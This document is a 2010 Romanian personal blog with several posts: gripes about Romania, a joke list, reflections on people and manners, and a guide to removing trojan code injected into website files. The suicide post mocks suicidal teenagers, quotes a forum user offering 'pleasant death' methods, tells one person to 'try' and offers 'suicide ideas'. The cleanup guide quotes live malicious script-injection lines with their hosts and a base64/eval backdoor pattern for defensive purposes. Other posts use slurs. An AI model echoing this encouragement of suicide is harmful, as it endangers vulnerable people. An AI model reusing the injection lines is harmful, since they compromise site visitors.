O zi normala
Postat la 21 Aug 2010. 2 comentarii. Hai, spune si tu ceva!

Cel mai tare ma enerveaza in acest moment faptul ca nu am prieteni pe Miniclip. Dar, si daca as avea ar fi rau... ce prieten as mai fi eu daca i-as bate la toate jocurile. Mai bine raman asa, linistit si modest.
Despre tara, nu mai zic nimic... ca sunt destui care mananca rahat si nu vreau sa-i intrerup sau sa le iau 'painea' de la gura. Nu sunt genul care renunta dar m-am resemnat pentru ca stiu ca nu are rost. Am observat ca au pus banci multe pe Calea Vitan... daca tot n-ai ce sa mananci, macar sa ai unde sa te asezi cand ti-e rau. Aaa... si am observat si ca se asfalteaza strazile care sunt deja asfaltate. Oricum, eu nu sunt o barca, deci nu pot fi condus de marinari.
Dar stau linistit, imi inghit cu greu felia de noroc, imi iau camasa cu palmieri colorati si astept sa fiu expulzat in Hawaii, in vila aia cu vedere la ocean. Cred ca o sa pun la Loto, ca poate am o sansa... din 20 de milioane.
Tags: romania, plictiseala, zi, normal
Vreau sa mor dar n-am pistol
Postat la 11 Jul 2010. 3 comentarii. Hai, spune si tu ceva!

Frate, sunt unii... te dor urechile cand simti cat de tare bubuie.
Am dat din intamplare peste un thread cu sugestii despre sinucidere unde o tipa vrea sugestii. Ea scrie asa:
- vreauu sa mor... chiar imi doresc asta!! vreau sa ma transform in cineva sau ceva care si sa nu fiu recunoscuta! vreau sa mor!!!
Bine, eu n-am inteles exact care sunt doleantele ei, daca vrea sa moara sau sa se transforme, dar mi se pare tare faptul ca are o multime de admiratori care, culmea, isi doresc acelasi lucru si, cel mai tare si mai tare e ca in toata afacerea asta exista concurenta. Citat din discutie, sa va distrati si voi:
- vreauu sa mor... chiar imi doresc asta... [ana]
- te rog scrie-mi la geo****@yahoo.com, nu face un gest de care sa iti para rau. [george]
- musat****@yahoo.com Stiu cum se poate face o moarte placuta!!!! [Nikolai]
Si, altu' care vrea:
eu tot vreau. invidiez pe cei ce au inca o zi :( urasc soarele. urasc viata. ma urasc pe mine. probabil o sa mor.
Probabil ar trebui sa incerci.
Acum, sa revenim la lucruri serioase: daca pe unul dintre retarzii astia i-al lovi o masina si ar simti ca au un picior rupt si ca durerea le taie respiratia, ar reveni cu picioarele pe pamant si "ar fugi la mama" cu lacrimi in ochi. Chiar si inainte sa mori, e demonstrat ca durerea este transmisa catre creier, deci singura moarte fara durere este aceea in care mori in somn; deci nu te poti sinucide.
Eu inteleg ca viata nu e o optiune dar nu inteleg de ce te trezesti la 14-17 ani ca vrei sa mori? E ca si cum ai gusta dintr-o mancare si dupa ce termini un sfert din ea, zici ca nu-ti place. De ce n-ai manca pana la capat, daca tot crezi in schimbari?
Fericirea nu este ceva care vine pur si simplu si, nu este nici macar ceva ce poate fi definit. Unii inteleg fericirea prin bani multi, altii o inteleg prin iubire si relatii, altii prin putere, altii prin arta si sunt sute de exemple. Partea cea ma frumoasa este ca tu (ca om) esti singurul care te poti face fericit, culegand din viata intamplarile bune si observand ceea ce-ti place. Daca vrei sa vezi in viata doar lucrurile rele asta nu inseamna ca nu poti fi fericit... inseamna ca esti doar un fericit prost.
Viata este un dar, pe care fiecare il poate pretui si de care se poate bucura sau pe care il poate refuza (chiar si la 14-17 ani), Oricum ar fi, sa-ti pui capat zilelor, nu e greu. Sa zici ca ti-e frica sa te sinucizi, e stupid. Sa incerci sa te sinucizi si sa nu-ti iasa... esti bou?! Sa-ti traiesti viata cu bune si cu rele, e chiar frumos.
Bine, eu am o multime de idei, puteti sa ma contactati si pentru idei de sinucidere si pentru idei de trait viata din plin. Partea proasta este ca nu stiu daca ideile pentru cea de-a doua parte vor avea succes total.
Tags: idei, sinucidere, oameni, prostie
Cum scapam de caii Trojan de pe server
Postat la 04 Jul 2010. 6 comentarii. Hai, spune si tu ceva!

Well... trebuie sa incep articolul destul de pesimist: e foarte greu.
Pe un PC e mai usor pentru ca acolo are acces deplin antivirusul, dar pe server e mai greu pentru ca trebuie sa faci tu toata treaba (mai ales daca site-ul e mare).
1. Ce sunt troienii despre care vorbesc si, cum se manifesta?
Numele ar putea fi ceva de genul Trojan-Clicker.HTML.IFrame sau Trojan.Downloader sau altfel [sunt mai multe tipuri din pacate si sunt mai multe denumiri sub care ii vad antivirusii].
Actiunea lor este urmatoarea: se conecteaza la FTP (detecteaza actiunile Filezila si a altor clienti FTP) si scriu in fisierele de tip php, html, htm, js un cod care include un iframe sau un fisier javascript.
Exemplu din index.php
<script type="text/javascript" src="http://kollinsoy.skyefenton.com:8080/Raw_File.js"></script>
Exemplu din fisier javascript
document.write('<s'+'cript type="text/javascript" src="http://stupidserver.com/f.js"></scr'+'ipt>');
2. Cum te infectezi si cum te protejezi?
- Te poti infecta doar daca deschizi o pagina web care este infectata (care contine iframe sau fisier JS de tipul de mai sus) si, partea proasta e ca sunt putini antivirusi care te protejeaza.
- Te poti proteja instaland un antivirus bun. Experienta mea placuta a fost cu Karspersky (nu fac reclama, e pe bune) deci e o metoda buna de protectie si (imi doresc sa-l cumpar - mi-a dezinfectat fisiere si m-a si protejat in timpul accesarii). Am avut si antivirusi care nu au detectat nimic, dar nu vreau sa fac anti-reclama.
3. Cum scapam de ei pe server?
- In primul rand, se schimba parola de FTP (valabil pentru orice developer) si, nu te conectezi la FTP pana ce nu esti sigur ca esti "curat"
- Esti sigur ca esti curat dupa ce ti-ai scanat computerul cu Karspersky (eu am avut Pure si a fost perfect - se poate lua trial-version gratuit, pentru 30 de zile DAR trebuie dezinstalat orice antivirus existent pentru ca nu e indicat sa ai doi antivirusi pe acelasi sistem) sau alt antivirus bun si actualizat (daca doriti, ma puteti contacta, sa va zic antivirusii "prosti" - vectorialpx.net, formularul de jos).
- folosesti un instrument care gaseste codul cu probleme si stergi toate problemele modificand fisierele (exista TEXTCRAWLER - care este FREE).
Acum, acest ultim pas este ceva mai complex. Eu am facut un fisier PHP (cach.php) care trebuie pus pe server, pentru ca mi-a fost mai usor. El cauta prin fisierele si dosarele site-ului (de la nivelul la care este pus in sus) in fisierele PHP, HTML si JS si, poate face inlocuirea codului cu probleme. Il puteti vedea mai jos cum arata (sunt doua functii, dintre care una e recursiva, nu mare lucru).
4. Ce cautam si cum?
- Primul lucru cautat este eval(base64_decode . Este ceea ce ofera poarta de acces remote. Daca nu stergeti codurile de acest gen, nu ati facut nimic. Sub acel base64_decode se afla de obicei ceva de genul eval($_POST['ceva']) ceea ce ofera puterea suprema pentru PHP - de unde concluzia stupida: hacker-ii nu-s prosti! :)
Atentie! unele teme de Wordpress au in footer un cod care contine eval(base64_decode dar este pentru copyright (nu trebuie sters). Trebuie sters orice cod suspect, nu chiar orice cod (e indicat sa fiti programatori cu ceva experienta, pentru a nu sterge aiurea). Daca aveti dubii si aveti soft-uri web (cum ar fi phpBB, drupal etc etc) mai bine cautati pe Google sau in documentatie. Oricum, scriptul face si un backup al fisierului infectat, deci nu pierdeti informatia respectiva dar va fi greu sa redenumiti fiecare fisier si s-o luati de la capat.
5. Ce fisiere sunt infectate?
de obicei index.php si cam tot ce are 'index', 'main', 'config' apoi, cam toate fisierele javascript care sunt incluse in prima pagina - dar nu numai.
6. Cum facem inlocuirea?
- avem nevoie de un alt fiser PHP (get23123.php - un nume care nu poate fi intuit usor) care ne afiseaza contentul unui anumit fisier (plain text) de pe server. De ce? Pentru ca nu vom putea lua fisierele de pe server ca sa le vedem local, fiind blocat de antivirus. Atentie, dupa ce ati terminat toata treaba stergeti fisierul get23123.php pentru ca este o mare bresa de securitate.
<?php // get23123.php e simplu si arata cam asa
$c = file_get_contents('index.php');
echo htmlspecialchars($c, ENT_QUOTES);
// afiseaza contentul lui index.php (cu tot cu cod PHP)
Deci va trebui sa urcati pe server un astfel de fisier, pentru a vedea care este codul clar din anumite fisiere.
De exemplu, accesam get23123.php si vedem ca in fisierul file.js este codul
document.write('<s'+'cript type="text/javascript" src="http://iopap.upperdarby26.com/Hardware.js"></scr'+'ipt>');
incepem sa cautam dupa el (codul) si sa facem replace, accesand cach.php in care stabilim inlocuirea codului de mai sus.
Fisierul cach.php este asa:
<?php
set_time_limit(0);
error_reporting(E_ALL);
define('MAKETHEREPLACE', 0); // se face replace sau nu
define('STRING2REPLACE', 'eval(base64_decode'); // ce cauta
// aceasta constanta se defineste de fiecare data
// se poate face si un array si apoi un foreach in functie
// cu mai multe string-uri, dar e nevoie de mai multa atentie
define('DS', DIRECTORY_SEPARATOR);
$f = dirname(__FILE__).DS;
function h($w) { $w = stripslashes($w); // htmlspecialchars
return trim(htmlspecialchars($w, ENT_QUOTES)); }
function getDir($folder) {
if ($handle = opendir($folder)) {
while (false !== ($file = readdir($handle))) {
if(is_dir($folder.$file) && $file != '..' && $file != '.' ) {
getDir($folder.$file.DS);
} else {
$ext = end(explode('.', $file));
if($file != 'cach.php')
if($ext == 'js' || $ext == 'php' )
writeFile($folder, $file);
}
}
closedir($handle);
}
}
getDir($f); // aici se face apelarea
function writeFile($dir, $f) {
if(filesize($dir.$f) < 1024*500) { // nu cautam in fisiere mai mari de 500K
// $handle = fopen($dir.$f, 'r');
// $c = fread($handle, filesize($dir.$f)+1);
// fclose($handle);
// este recomandat file_get_contents
// pentru ca este mai rapid
$c = file_get_contents($dir.$f);
// extensie
$ext = end(explode('.', $f));
$este = strpos($c, STRING2REPLACE);
// daca exista codul in fisier
if($este !== false) {
if(MAKETHEREPLACE) {
copy($dir.$f, $dir.'infect_'.$f.'.unkn');
$fp = fopen($dir.$f, 'w');
if(fwrite($fp, trim(str_replace(STRING2REPLACE, '', $c))))
echo 'am scris <b style="color:#c00">'.$dir.$f.'</b><br /><br />';
fclose($fp);
} else {
echo 'trebuie scris - <b style="color:#c00">'.$dir.$f.'</b><br />
Contine: <br /><textarea name="some" cols="200" rows="9"
style="font:12px Verdana,Arial">'.h($c).'</textarea><br /> <br />';
}
}
} else {
echo '<strong style="color:#c00">prea mare</strong> '.$dir.$f.'<br /><br />';
}
}
// end of file
Am mai citit un articol despre asta - how to remove iframe trojan - dar pare un pic incomplet. Probabil ca si troienii au mai evoluat intre timp.
Sunt dispus sa raspund comentariilor si, daca aveti idei, ar fi bine sa fie publice. Spor la programat!
Edit: Am gasit o descriere la Karspersky pentru Trojan-Clicker
Deci nu, nu e chiar harmless.
Programs classified as Trojan-Clicker are designed to access Internet resources (usually web pages). This is done either by sending appropriate commands to the browser or by replacing system files that provide “standard” addresses for Internet resources (such as the Windows hosts file).
A malicious user may use Trojan-Clicker programs to:
- increase the number of visits to certain sites in order to boost the number of hits for online ads
- conduct a DoS (Denial of Service) attack on a particular server
- lead potential victims to viruses or Trojans.
Parazitii - Tot ce-i bun tre sa dispara
Postat la 18 Jun 2010. 2 comentarii. Hai, spune si tu ceva!

In 2010 au scos album si toata lumea a inceput sa faca spume si sa-si piarda din calorii pe la colturi.
Auzeam pe la Radio Zu proteste (prostesti, de altfel) de genul "Noi vrem respect si cantam despre droguri". Dar ce fratilor, voi n-ati auzit pana acum melodii d-ale lor decat "Noi vrem respect" si "Citeste o carte"?! N-ti auzit "Suta", n-ati auzit "Bagabontii 99" sau "Verde" (Ombladon cu Bitza) sau altele. V-ati trezit acum ca vreti o trupa care canta despre carti, buna-stare si educatie?!
Citesc pe forum-uri si prin comunitati ca "au dat-o-n comercial" si, ca "nu mai canta ca altadata". Vreti sa faca toate piesele la fel? Ascultati versurile... sau nu! Nu vreti sa-i ascultati nu cumparati albumul, ce dracu'-i asa greu.
Nu sunt hip-hop-er infocat, dar ma enerveaza astia care-si dau cu tesla-n oua de dragul de a zice ceva.
Edit: Se pare ca dupa ce au ascultat mai multi albumul, toata lumea a devenit mai draguta
Tags: parazitii, romania, personal, prostie
Top 10 momente memorabile in viata unui om
Postat la 12 Jun 2010. Nu sunt comentarii. Hai, spune si tu ceva!

Am vazut trailer-ul de la filmul "Number 23" si, mi s-a parut... amuzant, pentru ca apoi am vazut tot pe youtube un inflacarat care era disperat dupa acest numar si, i se parea ca viata lui e schimbata, ca brusc totul face sens. De exemplu, W are 3 colturi in sus si doua in jos => 23. Bine, de ce nu 32 nu stiu dar oricum, ideea este ca exista foarte multi oamenii care pot fi schimbati foarte usor de mass-media. Acum, o sa va enumar eu 10 momente importante din viata noastra, pentru a intelege ca lucrurile sunt mai complicate de atat.
1. Urmeaza sa te nasti. Un tip cu bentita pe cap te trage afara dintr-o zona intima a mamei tale, in timp ce ea urla. Ironie: tipul ala nu cred ca e tatal tau, iar daca era o tipa, tu cum dracu' ai aparut pe lume daca mama ta era lesbiana?!
2. Desi iti dai seama ca bananele cu biscuiti sunt aiurea, toata lumea te trage de falci zambind. Ironie: oare d-aia sunt maimutele asa simpatice?!
3. Prima zi de scoala, prima data cu colegii de clasa. Ironie: e vr-o coincidenta intre faptul ca 'alinierea' voastra e asemanatoare cu cea a celor din puscarie? Hmm...
4. Copiezi pentru prima data la o lucrare, te prinde pentru ca n-ai experienta prea mare si-ti da nota 1. Ironie: nu, nu e o coincidenta!
5. La liceu toate fetele iti zambesc, pentru ca esti boboc. Ironie: de ce oare dupa ce te vad prima data, nu se mai uita la tine a doua oara?
6. Stii sa inoti, dar in piscina asta miroase cam urat. Ironie: ai capul in WC, pentru ca tipa careia i-ai facut cu ochiul avea prieten... era chiar bulangiul ala mare de langa ea.
7. Facultatea era frumoasa daca nu trebuia sa inveti si sa iei note. Ironie: astia din club dau note mai mari la concursurile de baut bere.
8. Trebuie sa te casatoresti, toti prietenii urla "Nu semna baa!!". Ironie: ai semnat! Trebuia sa stii ca "prietenul la nevoie se cunoaste"
9. Sotia ta e insarcinata, te uiti pe gaura cheii si vezi ca un bulangiu cu bentita pe cap ii desface picioarele. Ironie: te calmezi, pentru ca de fapt este o tipa.
10. Ajungi la pensie si iti dai seama ca nu prea ai bani, desi ai muncit toata viata. Ironie: traiesti in Romania.
Departe de adevar...
Postat la 31 May 2010. 2 comentarii. Hai, spune si tu ceva!

Imi place sa cred ca sunt o persoana care cunoaste oamenii de la o prima vedere si de la o prima discutie. Vorbele (limbajul), hainele (nu e musai sa fie scumpe, e vorba de gusturi si altele), gesturile, mainile si multe altele pot spune multe despre o persoana. Sunt unii care se prefac atat de natural si de bine incat prima data nu-ti dai seama daca persoana care vorbeste e cea din fata ta sau e doar o masca, insa dupa o analiza a situatiei si cateva discutii, de obicei, iti poti da seama.
Fie ca e vorba de o simpla contrazicere ce pare ca poate fi trecuta cu vederea (are unghiile date cu lac dar scoate un car de agramatisme), fie ca e vorba de prea multa amabilitate desi e clar care e scopul (de obicei nu e asa, a devenit brusc), fie ca tonul este prea vag (pare ca nu stie ce zice), e foarte greu sa te prefaci pana la finalul discutiei.
Daca intram putin mai in amanunt, toti avem defecte (asta e clar deja) si toti ne prefacem la un moment dat, chiar si fata de persoane dragi. Fie ca incercam sa ne ascundem unele defecte, fie ca avem un interes (sentimental, material sau de alta natura), e clar ca in acele momente vrem un rezultat care nu ar iesi la iveala fara mijloace alternative (de fapt, asa credem noi).
Un exemplu concret este un exces de amabilitate (uneori destul de vag) fata de o persoana despre care stim ca ne poate ajuta sau ne-a ajutat in trecut. Aceasta amabilitate nu ar exista daca ar fi vorba de o persoana X pe care nu o cunoastem. De ce? Creierul analizeaza situatia (amintiri si conceptii) si aduce un plus de amabilitate discutiei (in functie de starea noastra de spirit) in mod automat.
Complexitatea oamenilor este data de faptul ca toata viata este imbracata in decizii, care la randul lor au consecinte. Deciziile vin la pachet cu toate consecintele lor, indiferent ce-am face, indiferent daca unii din noi le accepta iar altii nu.
Ma intriga oamenii care considera ca m-au pacalit prin masca pe care si-au pus-o. De fapt, sunt multi pe care ii las sa creada ca m-au pacalit doar pentru a analiza modul lor fals de a pune problema sau doar pentru ca stiu ca nu sunt rau intentionati (sunt putini cei care nu au interese mari si, cred ca-i pot numara pe degete).
Tags: complex, oameni, prostie, psihologie
Diferente de generatii - educatie veche si educatie noua
Postat la 02 Apr 2010. 3 comentarii. Hai, spune si tu ceva!

Stiu ca am mai scris un articol despre educatie dar, intalnesc zilnic situatii idioate care ma pun pe ganduri: oare eu din ce generatie fac parte? Oare eu fac parte din generatia celor care sunt intrebati "Cand a fost cucerit Vidinul?" si cauta panicati pe Google, sau sunt doar unul care pur si simplu a uitat? Bine, probabil ca cei din generatia de acum ar crede ca Vidinul e o marca de whisky.
In metrou se imbulzesc liceenii la scaunele goale, de parca primesc un premiu si, nu cred ca mai au notiuni de genul "rusine" sau "respect". Ei nu sunt din generatia mea, sunt din generatia celor care au venele mutilate pentru a fi la moda.
In fine, eram la semafor si treceam pe la Dristor, cand in spatele coloanei de masini era o salvare cu sirena pornita. Langa mine, un batranel care astepta ca masinile sa se deplaseze, sa faca loc salvarii. Am asteptat si eu si alti cativa oameni... restul de vite au luat-o inainte. Dupa ce s-a golit strada, era inca verde la pietoni si, batranelul se uita indignat la tipa din prima masina (care se scobea elegant in nas) si-i zice vag "hai, ia-o inainte" dar ea se uita cu scarba, ca si cum ar zice "nu primesc eu ordine de la tine". Si, ma uitam asa la ea si ma gandeam: oare ea face parte din generatia mea sau, eu fac parte din generatia ei.
Dar, mi-a ramas gandul la batranelul ala... Pe vremea lui se cerea respect, pe vremea asta s-a pierdut cuvantul. Pe vremea lui daca injurai un profesor iti luai bataie sora cu moartea, pe vremea asta daca injuri un profesor esti shmecher, pe vremea lui stiai ca trebuie sa muncesti ca sa ai ce sa mananci, pe vremea asta doar barurile sunt pline.
Pe vremea mea respectul era la jumatate, undeva intermediar intre generatia lui si cea de azi. Imi dau seama ca lucrurile o iau razna si ma intreb oare unde se va ajunge. Mda, cred ca nu e bine sa fiu asa curios!